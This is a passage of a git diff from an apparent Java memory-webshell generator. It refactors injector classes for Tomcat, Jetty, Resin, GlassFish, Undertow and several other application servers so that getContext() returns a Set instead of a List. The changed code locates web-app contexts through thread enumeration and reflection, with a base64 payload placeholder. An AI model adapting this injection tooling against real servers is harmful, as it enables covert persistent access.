diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java
index e4af7434..e5255058 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java
@@ -7,10 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -34,7 +31,7 @@ public class ApusicFilterInjector {
     }
 
     public ApusicFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -77,8 +74,8 @@ public class ApusicFilterInjector {
      * context -> webapp: com.apusic.deploy.runtime.WebModule
      * /usr/local/ass/lib/apusic.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java
index 6e5c9dfe..3269cab5 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java
@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -33,7 +30,7 @@ public class ApusicListenerInjector {
     }
 
     public ApusicListenerInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -71,8 +68,8 @@ public class ApusicListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java
index 18c60883..2af92e40 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java
@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -33,7 +30,7 @@ public class ApusicServletInjector {
     }
 
     public ApusicServletInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -71,8 +68,8 @@ public class ApusicServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
index 02359e18..c79ae797 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
@@ -30,7 +30,7 @@ public class BesFilterInjector {
     }
 
     public BesFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -72,8 +72,8 @@ public class BesFilterInjector {
      * com.bes.enterprise.webtier.core.DefaultContext
      * /opt/bes/lib/bes-engine.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
index 686e82e5..94376086 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
@@ -26,7 +26,7 @@ public class BesListenerInjector {
     }
 
     public BesListenerInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
index 553e196c..acfbe23b 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
@@ -25,7 +25,7 @@ public class BesValveInjector {
     }
 
     public BesValveInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -63,8 +63,8 @@ public class BesValveInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java
index e9e3d3fd..ee90338b 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java
@@ -7,10 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -33,7 +30,7 @@ public class GlassFishFilterInjector {
     }
 
     public GlassFishFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -75,8 +72,8 @@ public class GlassFishFilterInjector {
      * com.sun.enterprise.web.WebModule
      * /xxx/modules/web-glue.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java
index 8c168a3d..03647abd 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java
@@ -26,7 +26,7 @@ public class GlassFishValveInjector {
 
 
     public GlassFishValveInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -64,8 +64,8 @@ public class GlassFishValveInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java
index 0e040ddb..c2432ae7 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java
@@ -31,7 +31,7 @@ public class InforSuiteFilterInjector {
     }
 
     public InforSuiteFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -73,8 +73,8 @@ public class InforSuiteFilterInjector {
      * com.cvicse.loong.enterprise.web.WebModule
      * /usr/local/inforsuite/as/modules/web-glue.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
index 7f06ae81..1b6a25e3 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
@@ -6,6 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -33,7 +34,7 @@ public class JettyFilterInjector {
     }
 
     public JettyFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -154,8 +155,8 @@ public class JettyFilterInjector {
      * org.eclipse.jetty.ee9.webapp.WebAppContext
      * org.eclipse.jetty.ee10.webapp.WebAppContext
      */
-    private List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java
index 66af3609..7e3f0871 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.EventListener;
-import java.util.List;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -22,7 +19,7 @@ public class JettyListenerInjector {
     private String msg = "";
 
     public JettyListenerInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -68,8 +65,8 @@ public class JettyListenerInjector {
         return "{{base64Str}}";
     }
 
-    private List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java
index 70ef0e8c..ae51b449 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java
@@ -6,6 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -31,7 +32,7 @@ public class JettyServletInjector {
     }
 
     public JettyServletInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -77,8 +78,8 @@ public class JettyServletInjector {
         }
     }
 
-    private List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java
index 14a8bcc8..88048e8e 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java
@@ -29,7 +29,7 @@ public class ResinFilterInjector {
     }
 
     public ResinFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -71,7 +71,7 @@ public class ResinFilterInjector {
      * com.caucho.server.webapp.Application
      * /usr/local/resin3/lib/resin.jar
      */
-    public List<Object> getContext() throws Exception {
+    public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
@@ -87,7 +87,7 @@ public class ResinFilterInjector {
                 contexts.add(webApp);
             }
         }
-        return Arrays.asList(contexts.toArray());
+        return contexts;
     }
 
     public ClassLoader getWebAppClassLoader(Object context) throws Exception {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java
index d28abe0d..cbb859c7 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java
@@ -28,7 +28,7 @@ public class ResinListenerInjector {
     }
 
     public ResinListenerInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -66,7 +66,7 @@ public class ResinListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
+    public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
@@ -82,7 +82,7 @@ public class ResinListenerInjector {
                 contexts.add(webApp);
             }
         }
-        return Arrays.asList(contexts.toArray());
+        return contexts;
     }
 
     public ClassLoader getWebAppClassLoader(Object context) throws Exception {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java
index 2cea7b26..56103412 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java
@@ -30,7 +30,7 @@ public class ResinServletInjector {
     }
 
     public ResinServletInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -68,7 +68,7 @@ public class ResinServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
+    public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
@@ -80,7 +80,7 @@ public class ResinServletInjector {
             } catch (Exception ignored) {
             }
         }
-        return Arrays.asList(contexts.toArray());
+        return contexts;
     }
 
     public ClassLoader getWebAppClassLoader(Object context) throws Exception {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java
index c83e4b77..5c7b762a 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java
@@ -7,10 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -21,7 +18,7 @@ public class TomcatFilterInjector {
     private String msg = "";
 
     public TomcatFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -75,8 +72,8 @@ public class TomcatFilterInjector {
      * org.apache.catalina.core.StandardContext
      * /usr/local/tomcat/server/lib/catalina.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
index 26f95cfc..42680e37 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
@@ -8,10 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -24,7 +21,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
     private String msg = "";
 
     public TomcatProxyValveInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -92,8 +89,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         return method.invoke(rawValve, args);
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java
index b8e8e859..53cbbe16 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -35,7 +32,7 @@ public class TomcatServletInjector {
     }
 
     public TomcatServletInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -73,8 +70,8 @@ public class TomcatServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java
index 87aac842..2fdcefb9 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java
@@ -25,7 +25,7 @@ public class TomcatValveInjector {
     }
 
     public TomcatValveInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -63,8 +63,8 @@ public class TomcatValveInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
index a993547d..bf822cc2 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
@@ -7,10 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -34,7 +31,7 @@ public class TomcatWebSocketInjector {
     }
 
     public TomcatWebSocketInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -72,8 +69,8 @@ public class TomcatWebSocketInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
index 7fc1acea..baa42b8f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
@@ -80,7 +80,7 @@ public class TongWebFilterInjector {
      * /opt/tweb8/version8.0.6.2/tongweb-web.jar
      */
     public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java
index 93e89ad5..537c0308 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java
@@ -64,7 +64,7 @@ public class TongWebListenerInjector {
     }
 
     public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java
index 1881a8db..3821e078 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java
@@ -64,7 +64,7 @@ public class TongWebValveInjector {
     }
 
     public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java
index cbdf367d..00555273 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java
@@ -30,7 +30,7 @@ public class UndertowFilterInjector {
     }
 
     public UndertowFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -68,8 +68,8 @@ public class UndertowFilterInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java
index 707b7ba0..7bb7f76a 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -21,7 +22,7 @@ public class UndertowListenerInjector {
     private String msg = "";
 
     public UndertowListenerInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -67,8 +68,8 @@ public class UndertowListenerInjector {
         return "{{base64Str}}";
     }
 
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java
index a3edb883..3786ecb0 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -33,7 +34,7 @@ public class UndertowServletInjector {
     }
 
     public UndertowServletInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -71,8 +72,8 @@ public class UndertowServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
